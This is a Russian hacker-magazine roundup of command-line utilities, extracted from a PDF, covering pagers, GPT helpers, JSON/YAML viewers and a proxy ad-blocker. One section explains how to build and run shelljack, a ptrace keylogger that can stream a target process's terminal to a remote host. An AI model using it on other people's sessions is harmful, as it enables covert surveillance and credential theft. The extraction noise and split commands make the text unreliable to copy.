Не забудь заглянуть­ в прошлые­ части­ . В первой­ мы рассмат­ ривали­ в основном сетевые утилиты­ , во второй­ — дашборды­ и прочие­ украшатель­ ­ ства, в третьей­ я сконцен­ три­ ровал­ ся­ на жизни­ в Windows с WSL, четвертая­

была для админис­ ­тра­торов Linux, а пя­тая — в основном про self-hosted-шту ­ ки.

MOAR

Первый­ релиз странич­ ного­ просмот­ рщи­ ка­ less состоял­ ся­ в 1985 году. Сегод ­ ня, спустя­ больше­ чем 35 лет, имее­ т смысл поискать­ ему замену. Встречай­ Moar — более современ­ ную­ альтер­ нативу­ less, написанную­ на Go.

Демонс­ тра­ ция­ работы Moar на примере­ собствен­ ного­ исходника­

Moar умее­ т подсве­ чивать­

синтаксис­

кода, поддержи­

вае­ т UTF-8, инкремен­ ­

тальный­

поиск, поиск по регуляркам­

и автомати­

чес­ кое­

разархивиро­

вание­

.

gz, .xz и .bz2. При этом разработ­

чик­ прилага­

е­ т усилия­ , чтобы­ Moar был пол ­

ностью совместим­

с less и миграция­

не составля­

ла­ особого­

труда­ .

 

 

 

 

Для установ­ ки­ достаточ­

но­ скачать­

бинарник­

для

своей­ платформы­

со страницы­

релизов, дать нужные­

права­

(chmod a+x moar-*) и скопиро­

вать­

 

 

 

ну­ ю в $PATH:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

его в папку­ , прописан­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sudo cp moar-* /usr/local/bin/moar

Чтобы­ сделать­ Moar просмот­ ­рщи­ком по умолчанию­ , добавь эту строку­ в свой

.zshrc (или .bashrc, если ты все еще сидишь на Bash):

export PAGER=/usr/local/bin/moar

AI-CLI

Часто­ гуглишь­ нужну­ ю команду­ и ругаешь­ себя, что не можешь запомнить­ ? Не беда, можн­ о и не запоминать­ ! С ai-cli тебе не понадобит­ ­ся переходить­

в браузер­ и перекапывать­ десятки­ ответов­ на форумах: готовые решения будут появлять­ ­ся в терминале­ . А писать их будет известная­ нейросеть­ GPT-3.

ИИ помощник­ в деле

Чтобы­ начать использовать­ персональ­ ного­ ИИ консуль­ тан­ та­ , достаточ­ но­ сде ­ лать следующие­ шаги:

1. Поставить­ Node.js.

2. Установить­ пакет ai-cli: npm i @abhagsain/ai-cli -g

3.Залоги­ ­нить­ся в OpenAI.

4.Сгенери­ ­ровать API-ключ на соответс­ ­тву­ющей странице­ . Ключ нужн­ о сох ­ ранить, больше­ его посмотреть­ не получится­ .

5. Выпол­ нить­

команду­ ai auth, после­ чего ввести­ сгенери­

рован­

ный­

на прошлом­

шаге ключ (он не отобража­

ется­

при вводе­ , так что лучше­ ско ­

пировать­

и вставить­ ).

 

 

 

 

Чтобы­ спросить­ что то у нейросети­ , достаточ­ но­ написать ai ask и дальше­ в кавычках­ вопрос­ на английском­ . Например­ :

ai ask "How to save xakep.ru main page to file?"

Тольк­ о имей в виду, что при слишком­ сложных­ запросах­ GPT-3 может и не понять, что ты от нее хочешь, и выдать не то, что нужно­ . Так что хотя бы прос ­ матривай­ глазами­ команду­ , прежде­ чем ее выполнить­ (о чем программа­ нас честн­ о предуп­ ­режда­ет, когда­ показывае­ т ответ)!

Теперь­ о грустном­ — о цене. Она составля­ ­ет почти­ два цента­ за один зап ­ рос, и это не очень хорошо, с учетом­ того, что Google и Stack Overfow бес ­ платны­ . Фактичес­ ­ки единствен­ ­ное преиму­ ­щес­тво ai-cli в скорос­ ­ти, с которой тебе доставля­ ­ется (возможно­ , правиль­ ­ный) ответ.

В описании­ программы­ перечислен­ о еще и автодопол­ нение­ команд, но оно и так есть в том же Zsh и многих­ других­ оболоч­ ках­ .

CLICKBAIT REMOVER FOR YOUTUBE

 

 

 

 

 

 

 

 

 

 

 

Настрой­

ки­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Многие­

авторы­ роликов на YouTube

 

для привлечения­

внимания­

ставят­

на обложку видео не реальный­

кадр, а кликбей­ тное­

непонятно­ что. В резуль

тате весь YouTube покры­ т яркими­ картинка­

ми­ , а что за ними скрыто­ , неясно­ (и

без просмотра­

двух реклам­

и длинного­

вступления­

часто­ не узнать).

 

 

 

 

 

Браузер­

ное­

расширение­

Clickbait Remover for YouTube решае­ т эту проб ­

лему, просто­ заменяя обложки кадрами­

из видео, а названия­

роликов пишет

строчными­

 

буквами­

с заглавной­

, если изначаль­

но­ оно было набрано­

заг ­

лавными­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Есть версии­ расширения­

для Chrome и для Firefox. Устанав­ лива­

ем­ , и клик ­

бейт практичес­

ки­ исчезает­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Не подумай только­ , что твой трафик­

начне­ т уходить­

на фоновое скачива­

­

ние видео. Дело в том, что у YouTube есть автомати­

чес­ кие­ сгенери­

рован­

ные­

миниатю­ ры­ и расширение­

просто­ получае­ т их в готовом виде.

 

 

 

 

 

 

 

Исходни­

ки­ Clickbait Remover доступны­

на GitHub.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CLI-EXERCISES

Хоть в этой программе­ и нет искусствен­ ного­ интеллекта­ , она все равно­ при ­ годится­ новичку­ , чтобы­ научиться­ работе в терминале­ . Вместо­ того чтобы­ спрашивать­ кажду­ ю мелочь у ИИ (что дорого и потенциаль­ но­ опасно­ ), можно­ посидеть какое то время­ с тренаже­ ром­ и научиться­ всему­ самостоятель­ но­ . Программа­ cli-exercises — это как раз такой тренажер­ , который учит работе с терминалом­ на примерах­ частых­ задач.

Сначала­ понадобит­ ся­ установить­ зависимос­ ти­ (python3, python3.10-venv и git), затем клониро­ вать­ репозиторий­ с проектом­ , и можно­ запускать­ :

$ python3 -m venv textual_apps

$ cd textual_apps

$ source bin/activate

$ pip install textual==0.5.0

$ git clone --depth 1 https://github.com/learnbyexample/TUI-apps.git

$ cd TUI-apps/CLI-Exercises

$ python cli_exercises.py

Список­ задач находится­ в файле­ questions.json. По умолчани­ ю в нем уже есть 40 заданий на работу с тексто­ выми­ файлами­ , но никто­ не запреща­ ет­ дописать туда свои, на любые темы.

Структура­ файла­ с заданиями­

К каждой­ задаче есть ответ, который ты увидишь­ при вводе­ правиль­ ного­ решения или нажав Ctrl-S. Можно­ пропус­ кать­ (Ctrl-N) вопросы­ и возвра­ щать­ ­ ся к ним позже­ (Ctrl-P).

JSON FX

Все мы знаем­ о jq (а если не знаем­ — идем и читаем­ про сам jq и песоч­ ­ницу с ним). Так вот, если jq — это редактор­ и поисковик­ по JSON, то FX — это просмот­ ­рщик. Работать в нем можно­ в том числе­ при помощи мыши.

FX удобн­ о отобража­ ­ет даже очень большие­ числа­ , а еще показывае­ т внизу­ экрана­ JSON path, который потом можно­ легко­ скормить­ jq или аналогич­ ­ной утилите­ .

Киллер­ фича: можн­ о фильтро­ ­вать данные­ выражениями­ на JavaScript или Python! Пример­ :

fx data.json '.filter(x => x.startsWith("xakep"))'

Ну и совсем­ уж мелочи: FX поддержи­ вае­ т темы (их можно­ поправить­ в файле­ theme.go), а выбираются­ они установ­ кой­ соответс­ тву­ ющей­ переменной­ окружения­ (что тоже удобно­ добавить в .zshrc):

export FX_THEME=8

Всег­ о поставля­ ется­ девять тем, их можно­ увидеть­ на скриншоте­ ниже.

Встроенные­ темы

Установить­ FX можн­ о из snap (пакет fx) или просто­ скачав­ бинарник­ со стра ­ ницы релизов.

Если­ раньше­ я для просмотра­ JSON пользовал­ ся­ VS Code, то теперь для быстро­ г­ о просмотра­ использу­ ю только­ FX.

YQ

На JSON свет клином­ не сошелся­ , и один из его главных­ конкурен­ ­тов — фор ­

мат YAML (Yet Another Markup Language). И если для анализа­ и преобра­ ­зова ­

ния JSON часто­ использу­ ют jq, то для YAML есть yq.

Конеч­ ­но, никто­ не запреща­ ­ет применять­ sed, но это, во первых­ , лотерея, а во вторых­ , зачем мучиться­ с регулярками­ , если есть специаль­ ­ные инстру­ ­ менты­ ?

Например­ , чтобы­ поправить­ сохранен­ ное­ имя пользовате­ ля­ в таком фай ­

ле:

users:

admin: admin

editor: xakep

corrector: autospellcheck

можн­ о использовать­ следующу­ ю команду­ :

cat xakepusers.yaml | yq '.users.corrector=chatgpt'

Пример­ выгляди­ т надуманным­ , но в скриптах­ такая адресная замена может быть полезна­ .

Чтобы­ установить­ yq, достаточ­ ­но одной команды­ :

wget https://github.com/mikefarah/yq/releases/latest/download/yq_

linux_amd64 -O /usr/bin/yq &&\

chmod +x /usr/bin/yq

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

ИИ-ПОМОЩНИКИ, РАБОТА С JSON

И ПРИЯТНЫЕ МЕЛОЧИ, КОТОРЫЕ ПРИГОДЯТСЯ В РАБОТЕ

У yq есть одна проблема­ : форматиро­ вание­ утилита­ переделыва­ ет­ , как ей нра ­ вится­ , и пустые­ строки­ выкидывает­ . Некто­ vladimir259 придума­ л решение­ , которое позволи­ т сохранить­ пропус­ ки­ :

# Сделаем изменения и сохраним в новый файл

yq '.data.TEST="NewValue"' sample.yaml > sample.yaml.new

#Удалим только пустые строки, без обновления самих данных yq '.' sample.yaml > sample.yaml.noblanks

#Найдем сами полезные изменения

diff -B sample.yaml.noblanks sample.yaml.new > patch.file

# Применим их к оригиналу

patch sample.yaml patch.file

Подразуме­ ­вает­ся, что, кроме­ самого yq, на твоей­ машине установ­ ­лены patch

и dif.

ADRENALINE

Название­ программы­ звучи­ т мощно­ , но на деле это простень­ кий­ сервис­ , который позволя­ е­ т скармли­ вать­ GPT-3 код с ошибками­ , чтобы­ нейросеть­ объясни­ ла­ , в чем заключа­ ется­ тот или иной баг. Она может даже попытаться­ исправить­ ошибки­ !

Чтобы­ восполь­ зовать­ ся­ «Адренали­ ном­ », нужно­ зайти­ на сайт проекта­ либо развернуть­ его у себя локально­ . Сервис­ бесплат­ ный­ , но требуе­ т ввода­ APIключа­ для OpenAI. Разработ­ чики­ клятвенно­ обещают­ , что ключ будет хранить­ ся локально­ , но, так это или нет, мы не знаем­ .

Кроме­ ключа­ , потребу­ ется­ ввести­ дефектный­ кусок кода на одном из 22 поддержи­ ваемых­ языков­ и ошибку­ , которую тебе выдае­ т компилятор­

или интерпре­ ­татор. Потом жмешь Debug, и в окне справа­ должно­ появиться­ объясне­ ­ние. Магия!

TEETTY

Инстру­ ­мент teetty пригодит­ ­ся, когда­ нужно­ организо­ ­вать для программы­ фальшивый­ термина­ л и рулить вводом­ выводом через файлы­ . На скриншоте­ как раз пример­ такого использования­ : интерак­ ­тивная программа­ висит

в фоне, а ввод в нее подается­ в специаль­ ­ный хитрый­ файл. Аналогич­ ­но вывод отобража­ ­ется из другого­ файла­ . И конечно­ , эти файлы­ могут быть проб ­ рошены через сеть или быть доступны­ ­ми не одному­ человеку­ .

Фактичес­ ­ки teetty — это оболоч­ ­ка, создающая­ фейковые­ stdin и stdout, которые ведут себя точно­ как настоящие­ . С их помощью можно­ даже соз ­ давать клавиатур­ ­ные события. Например­ , отправить­ Ctrl-D, записав в вир ­ туальный­ stdin симв­ ол 0x04, и таким образом­ завершить­ ввод.

Написан­ teetty на Rust и ставит­ ­ся через Cargo:

cargo install teetty

У программы­ есть два режима: сырой и для скриптов­ (--script-mode). Отли ­ чаются­ они тем, что в сыром консоль­ эмулиру­ ется­ полноцен­ но­ , но stdout и stderr не разделены­ . Так работают­ постра­ нич­ ные­ просмот­ рщи­ ки­ , тексто­ вые­ редакторы­ и другие­ программы­ , которые рисую­ т целый экран. В скриптовом­ режиме консоль­ получается­ неполноцен­ ная­ , зато поток ошибок­ становит­ ся­ действи­ тель­ н­ о отдельным­ и его можно­ тоже куда нибудь направить­ .

TTOP

Так уж получилось­ , что в каждой­ из моей подборок­ есть вариация­ на тему top. Этот раз не стане­ т исключени­ ­ем. Предлагаю­ твоему­ вниманию­ ttop. После­ всего­ , что мы уже видели в прошлых­ выпусках­ , он не выгляди­ т каким то уж особен­ ­но крутым­ , но изюмин­ ­ку все же имеет­ : он может записывать­ историю­ активности­ и позволя­ ­ет просматри­ ­вать ее. Это не atop, конечно­ , но тоже ничего.

Установить­ ttop можно­ , просто­ скачав­ готовый бинарь с GitHub:

wget https://github.com/inv2004/ttop/releases/latest/download/ttop

chmod +x ttop

Чтобы­ запустить­ сбор статис­ ­тики, выполни­ ./ttop --on, а для останов­ ­ки —

./ttop --off. Просматри­ ­вать истори­ ю можно­ будет при обычном­ запуске­ .

SHELLJACK

Shelljack — это утилита­ , которая работае­ т в пространс­ тве­ пользовате­ ля­ и с помощью ptrace снифае­ т термина­ л и позволя­ е­ т пересылать­ куда нибудь полученные­ данные­ . Этакий­ кейлог­ гер­ , который умее­ т еще и захватывать­ ввод.

Примене­ ние­ такому инстру­ мен­ ту­ есть не только­ в целевых атаках­ , но и в мирной­ повседнев­ ной­ жизни­ . Допустим­ , ты вынужден­ предос­ тавить­ кому то доступ­ к оболоч­ ке­ на сервере­ , который ты админис­ три­ руешь­ . Но как прокон­ ­ тролиро­ вать­ происхо­ дящее­ там? Можно­ просто­ запустить­ shelljack и настро­ ­ ить его пересылать­ тебе все, что творит­ ся­ в терминале­ , в реальном­ времени­ , и, если что то идет не так, ты сразу­ узнаешь­ , что именно­ сделал­ поль ­ зователь, и сможешь­ вовремя­ дропнуть­ сессию­ .

Обычн­ о подобные­ защитные­ приколы­ реализую­ т с помощью функций­ аудита­ , политик SELinux или даже специаль­ ­ного модуля в ядре, но эта утилита­ позволя­ ­ет вообще­ не лезть в ядро и сделать­ все в пользователь­ ­ском прос ­ транстве­ . Тебе не потребу­ ­ется даже root!

Но не думай, что ты сможешь­ вот так вот просто­ следить­ за любыми поль ­ зователями­ . Мало того, на Ubuntu, начиная с еще допотопной­ версии­ 10.10, применен­ специаль­ ный­ патч, который ограничи­ вае­ т возможнос­ ти­ ptrace, и именн­ о в Ubuntu работа этой утилиты­ все же потребу­ е­ т прав root. Впрочем­ , если ты админ, то это вряд ли вызовет какие то проблемы­ .

Готово­ ­го бинарника­ у shelljack нет. Для сборки­ потребу­ ­ется установить­ зависимос­ ­ти ptrace_do и ctty, но они тоже собираются­ без малейших­ зат ­ руднений­ :

git clone https://github.com/emptymonkey/ptrace_do.git

cd ptrace_do

make

cd ..

git clone https://github.com/emptymonkey/ctty.git

cd ctty

make

cd ..

git clone https://github.com/emptymonkey/shelljack.git

cd shelljack

make

После­ этог­ о достаточ­ но­ любым способом­ подсмот­ реть­ PID процес­ са­ эму ­ лятора­ терминала­ , за которым нужно­ следить­ . Команда­ запуска­ в общем слу ­ чае такая:

shelljack [-f FILE]|[-n HOSTNAME:PORT] <PID>

Опция­ -f указыва­ е­ т на файл для хранения­ логов, а -n позволя­ е­ т передавать­ перехвачен­ ные­ данные­ в реальном­ времени­ по сети на указан­ ный­ IP-адрес и порт. <PID> — это, соответс­ твен­ но­ , идентифика­ тор­ процес­ са­ жертвы­ .

PRIVAXY

Блокиров­ ­щик рекламы­ и следящих­ скриптов­ Privaxy работае­ т не как браузер­ ­ ное расширение­ , а как отдельный­ прокси­ сервер­ , который ставит­ ­ся на компьютер­ и фильтру­ ­ет трафик­ . Учитывая­ , что с Chrome Manifest v3 появи ­ лись проблемы­ , которые мешают­ работать блокиров­ ­щикам рекламы­ , такая замена может быть очень кстати­ .

Вмешивать­ ­ся в HTTPS-трафик­ Privaxy позволя­ ­ет самоподписан­ ­ный сер ­ тификат: программа­ добавит его в список­ доверенных­ , и браузер­ не будет поднимать­ лишн­ юю панику.

Скринш­ от взят из репозитория­ проекта­

Privaxy написан на Rust и экономич­ ­но относит­ ­ся к ресурсам­ — по заявлени­ ­ям разработ­ ­чика, на ~320 000 фильтров­ нужно­ всего­ около­ 50 Мбайт оператив­ ­ ки!

Для установ­ ­ки достаточ­ ­но скачать­ собранный­ бинарник­ со страницы­ релизов на GitHub. Сборки­ доступны­ для Windows, Linux (пакеты deb и AppImage) и macOS, причем­ для последних­ двух есть билды­ и для ARM.

Прокси­ поднима­ ется­ на локальном­ хосте­ (не смотри­ т в сеть) на пор ­ те 8100. Для управления­ существу­ е­ т GUI и CLI-интерфейс.

Что немаловаж­ ­но, есть возможность­ выборочно­ отключать­ вмешатель­ ­ство в трафик­ до определен­ ­ных хостов­ .

CHATGPT FOR GOOGLE

Про ChatGPT в 2023 году слыша­ л каждый­ . Эта замечатель­ ная­ нейросеть­ сво ­ бодн­ о понимае­ т на многих­ языках­ , отвечае­ т на любые вопросы­ и умее­ т врать настоль­ к­ о убедитель­ но­ , что даже понадобились­ детекторы­ , способ­ ные­ рас ­ познать контент­ , сгенери­ рован­ ный­ ИИ (один, другой­ ).

Для нас, инженеров­ , важно­ то, что ChatGPT с полпинка­ понимае­ т задачу и выдае­ т красивое­ готовое решение. Особен­ ­но удобно­ это использовать­

при решении типовых проблем­ , в духе «создать­ React-компонент­ » или «рас ­ парсить JSON на C#». Можно­ гуглить­ , перекапывать­ Stack Overfow, а можно­ просто­ спросить­ ИИ и получить ответ для конкрет­ ­но твоей­ ситуации­ .

Расширение­ ChatGPT for Google позволя­ е­ т совместить­ эти способы­ : каж ­ дый раз, когда­ ты спрашива­ ешь­ что то в Google, Bing, DDG, Brave или еще некоторых­ поисковиках­ , расширение­ продуб­ лиру­ е­ т твой запрос­ в ChatGPT и покажет ответ прям­ о на странице­ результатов­ .

Поддержи­ ­вает­ся подсвет­ ­ка кода, Markdown в ответах­ коррек­ ­тно парсится­ , есть кнопка­ копирования­ ответа­ и, самое главное­ , темная­ тема!

Установить­ это чудо прогресса­ можно­ из официаль­ ных­ магазинов­ Chrome и Firefox, а если у тебя браузер­ Brave, то нужно­ будет снять в настрой­ ках­ галочку­ «Prevent sites from fngerprinting me based on my language preferences»,

иначе­ расширение­ не сможе­ т показывать­ ответы­ на страницах­ поисковика­ .

Соседние файлы в папке журнал хакер